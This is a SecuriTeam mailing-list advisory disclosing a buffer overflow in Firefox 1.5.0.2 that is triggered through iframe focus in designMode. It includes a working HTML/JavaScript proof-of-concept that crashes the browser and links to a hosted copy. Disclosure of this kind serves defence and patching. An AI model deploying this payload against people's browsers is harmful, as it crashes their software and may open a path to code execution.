[NT] Firefox Remote Code Execution and DoS



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Firefox Remote Code Execution and DoS
------------------------------------------------------------------------


SUMMARY

Mozilla <http://www.mozilla.com/firefox/> Firefox is "a free, open
source, cross-platform, graphical web browser developed by the Mozilla
Corporation and hundreds of volunteers".

A handling issue exists in how Firefox handles certain Javascript in
js320.dll and xpcom_core.dll regarding iframe.contentWindow.focus(). By
manipulating this feature a buffer overflow will occur.

DETAILS

Vulnerable Systems:
* Mozilla Firefox for Linux / Windows version 1.5.0.2.

Proof of Concept:
Note: Following link lead to page containing malicious DoS code.
<http://www.securident.com/vuln/ffdos.htm>
http://www.securident.com/vuln/ffdos.htm - Firefox DoS proof of concept.

Paste the below code snippet and view it in Firefox for DoS PoC or visit
the link above.

<textarea cols="0" rows="0" id="x_OtherInfo"
name="x_OtherInfo"></textarea>
<script>
var textarea = document.getElementsByName("x_OtherInfo");
textarea=textarea.item(0);
var htmlarea = document.createElement("div");
htmlarea.className = "htmlarea";
textarea.parentNode.insertBefore(htmlarea, textarea);
var iframe = document.createElement("iframe");
htmlarea.appendChild(iframe);
var doc = iframe.contentWindow.document;
doc.designMode = "on";
doc.open();
doc.write("<iframe src=''>");
iframe.contentWindow.focus()
doc.close();
</script>
</textarea>


ADDITIONAL INFORMATION

The information has been provided by <mailto:chris@xxxxxxxxxxx> chris.
The original article can be found at:
<http://www.securident.com/vuln/ff.txt>
http://www.securident.com/vuln/ff.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.